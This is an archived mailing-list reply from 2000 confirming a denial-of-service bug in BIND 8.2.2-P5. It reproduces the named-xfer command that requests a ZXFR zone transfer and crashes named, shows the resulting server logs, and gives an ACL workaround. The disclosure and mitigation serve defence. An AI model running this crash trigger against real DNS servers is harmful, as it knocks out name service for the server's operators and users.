Re: BIND 8.2.2-P5 Possible DOS

[Darron Froese <darron () FROESE ORG>]

On 11/7/00 5:40 AM, "Fabio Pietrosanti (naif)" <fabio () TELEMAIL IT> wrote:

> <naif@naif> [~/bind/src822p5/bin/named-xfer] $ ./named-xfer  -z zone.pippo.com
> -d 9 -f pics -Z dns.pippo.com
> named-xfer[29297]: send AXFR query 0 to 192.168.1.1
> named-xfer[29297]: premature EOF, fetching "zone.pippo.com"
>
> On the server's log:
> Nov  7 11:19:09 dns.pippo.com: named[188510]: approved ZXFR from
> [10.10.10.10].2284 for "zone.pippo.com"
> Nov  7 11:19:09 dns.pippo.com: named[188510]: unsupported XFR (type ZXFR) of
> "zone.pippo.com" (IN) to [10.10.10.10].2284
>
> Then the server "*** CRASHED ***" .
>
> I should assume that bind 8.2.2-P5 it's vulnerable ( Please someone test and
> confirm this kind of dos)

I can confirm this on one of my Mandrake 7.1 boxes (8.2.2-P5 running
chrooted and as uid/gid named) - this is what happened:

[root@gateway darron]# named-xfer -z domain.com -d 9 -f zone -Z
ns1.domain.com

named-xfer[20193]: send ZXFR query 0 to 192.168.1.100
named-xfer[20193]: premature EOF, fetching "domain.com"

08-Nov-2000 11:23:54.243 security: info: approved ZXFR from
[192.168.1.1].3577 for "domain.com"
08-Nov-2000 11:23:54.244 xfer-out: warning: unsupported XFR (type ZXFR) of
"domain.com" (IN) to [192.168.1.1].3577

A couple minutes later in the logs:

08-Nov-2000 11:26:52.040 default: critical: db_freedata: DB_F_FREE set

Then named was gone. Dead and gone.

I tried it again and attempted 3 zone transfers from an ip that had access
to transfer zones from that dns server - it died almost immediately and this
was in the logs:

08-Nov-2000 11:30:02.279 default: critical: db_freedata: d_rcnt != 0

It doesn't seem to be consistent in the amount of times it takes to kill it
- but it does end up dead.

NOTE and WORKAROUND: If you have secured your named daemon from zone
transfers from unauthorized locations, it appears that requesting a zone
transfer in this manner (which fails because of the security restrictions)
doesn't have the same DoS potential. I couldn't get the server to crash if
an acl restricted the zone transfer.

It seems to work and crash the server if:

1. You have zone transfers open to the entire universe. (The logic of which
is debatable and almost certainly stupid.)

2. A zone transfer is being requested from a location that's already allowed
to do zone transfers. Authorized zone transfers can crash the server at
will.
--
Darron
darron () froese org